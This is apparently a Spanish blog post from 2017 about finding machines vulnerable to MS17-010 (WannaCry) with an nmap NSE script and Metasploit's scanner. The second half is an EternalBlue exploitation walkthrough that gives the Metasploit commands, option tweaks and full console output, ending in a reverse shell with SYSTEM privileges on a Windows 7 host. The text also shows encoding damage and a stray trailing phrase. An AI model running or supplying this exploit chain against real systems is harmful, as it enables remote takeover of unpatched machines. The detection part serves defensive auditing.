Cómo detectar máquinas vulnerables a WannaCry nmap nse script MS17 010
Tambi�n podr�amos detener la propagaci�n del malware deshabilitando SMBv1 o encomend�ndonos a San Custodio y que se haya activado un "kill switch" que reconozca la variante que nos estaba acechando pero... �para qu� arriesgarnos?... actualiza, actualiza, ACTUALIZA!
Ahora bien, si estas en una red y no eres responsable directo de actualizar los equipos M$ de la LAN, quiz�s te hayan pedido o te resulte interesante }:-) saber cu�les son las m�quinas que tienen el puerto 445/TCP accesible y son vulnerables. Para ello podr�amos usar el esc�ner de Metasploit (auxiliary/scanner/smb/smb_ms17_010), aunque resulta algo m�s lento que el script de nmap que vamos a utilizar en principio, que es el que el pasado domingo public� el mexicano Paulino Calderon (responsable del chapter @OWASP_riviera).
Lo que hace el script es conectarse a $IPC, ejecutar una transacci�n sobre FID 0 y comprobar si es devuelto el error �STATUS_INSUFF_SERVER_RESOURCES� para determinar si ha sido parcheado o no contra CVE2017-010.
https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse
Simplemente tenemos que descargar el script nse en el directorio correspondiente, por defecto:
# Linux � /usr/share/nmap/scripts/ or /usr/local/share/nmap/scripts/
# OSX � /opt/local/share/nmap/scripts/
# Windows � c:Program FilesNmapScripts
Y ejecutar:
nmap -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse X.X.X.X/XEjemplo NO VULNERABLE:
nmap -Pn -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse 192.168.1.22
Starting Nmap 7.12 ( https://nmap.org ) at 2017-05-16 1:56 CEST
Nmap scan report for 192.168.1.66
Host is up (0.00049s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 50:7B:9D:D5:05:CA (Lcfc(hefei) Electronics Technology)
Host script results:
|_smb-vuln-ms17-010: Could not connect to IPC$Ejemplo VULNERABLE:
# nmap -Pn -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse 192.168.1.23
Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-16 2:02 EDT
Nmap scan report for 192.168.1.23
Host is up (0.00069s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Nmap done: 1 IP address (1 host up) scanned in 0.59 secondsY ya sab�is, si la m�quina es vulnerable conseguir una shell a estas alturas es trivial:
Rescaneamos con el m�dulo de metasploit por si acaso.
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.23
RHOSTS => 192.168.1.23
msf auxiliary(smb_ms17_010) > run
[+] 192.168.1.23:445 - Host is likely VULNERABLE to MS17-010! (Windows 7 Professional 7601 Service Pack 1)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedUsamos el exploit https://github.com/RiskSense-Ops/MS17-010/blob/master/exploits/eternalblue/ms17_010_eternalblue.rb:
msf > use windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
GroomAllocations 12 yes Initial number of times to groom the kernel pool.
GroomDelta 5 yes The amount to increase the groom count by per try.
MaxExploitAttempts 3 yes The number of times to retry the exploit.
ProcessName spoolsv.exe yes Process to inject payload into.
RHOST yes The target address
RPORT 445 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 (x64) All Service Packs
msf exploit(ms17_010_eternalblue) > set RHOST 192.168.1.23
RHOST => 192.168.1.23
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.114:4444
[*] 192.168.1.23:445 - Connecting to target for exploitation.
[-] 192.168.1.23:445 - Rex::ConnectionTimeout: The connection timed out (192.168.1.23:445).
[*] Exploit completed, but no session was created.
msf exploit(ms17_010_eternalblue) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 7 and Server 2008 (x64) All Service Packs
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.114:4444
[*] 192.168.1.23:445 - Connecting to target for exploitation.
[-] 192.168.1.23:445 - Rex::ConnectionTimeout: The connection timed out (192.168.1.23:445).
[*] Exploit completed, but no session was created.
msf exploit(ms17_010_eternalblue) > set ProcessName lsass.exe
ProcessName => lsass.exe
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.114:4444
[*] 192.168.1.23:445 - Connecting to target for exploitation.
[-] 192.168.1.23:445 - Rex::ConnectionTimeout: The connection timed out (192.168.1.23:445).
[*] Exploit completed, but no session was created.
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.114:4444
[*] 192.168.1.23:445 - Connecting to target for exploitation.
[+] 192.168.1.23:445 - Connection established for exploitation.
[*] 192.168.1.23:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.23:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.23:445 - Starting non-paged pool grooming
[+] 192.168.1.23:445 - Sending SMBv2 buffers
[+] 192.168.1.23:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.23:445 - Sending final SMBv2 buffers.
[*] 192.168.1.23:445 - Sending last fragment of exploit packet!
[*] 192.168.1.23:445 - Receiving response from exploit packet
[+] 192.168.1.23:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.23:445 - Sending egg to corrupted connection.
[*] 192.168.1.23:445 - Triggering free of corrupted buffer.
[-] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.1.23:445 - Connecting to target for exploitation.
[+] 192.168.1.23:445 - Connection established for exploitation.
[*] 192.168.1.23:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.1.23:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.23:445 - Starting non-paged pool grooming
[+] 192.168.1.23:445 - Sending SMBv2 buffers
[+] 192.168.1.23:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.23:445 - Sending final SMBv2 buffers.
[*] 192.168.1.23:445 - Sending last fragment of exploit packet!
[*] 192.168.1.23:445 - Receiving response from exploit packet
[+] 192.168.1.23:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.23:445 - Sending egg to corrupted connection.
[*] 192.168.1.23:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (192.168.1.114:4444 -> 192.168.1.23:1096) at 2017-05-16 11:12:20 -0400
[+] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Microsoft Windows [Versi?n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:windowssystem32>whoami
whoami
nt authoritysystem
C:windowssystem32>hostname
hostname
WINDOWS-PC1download file now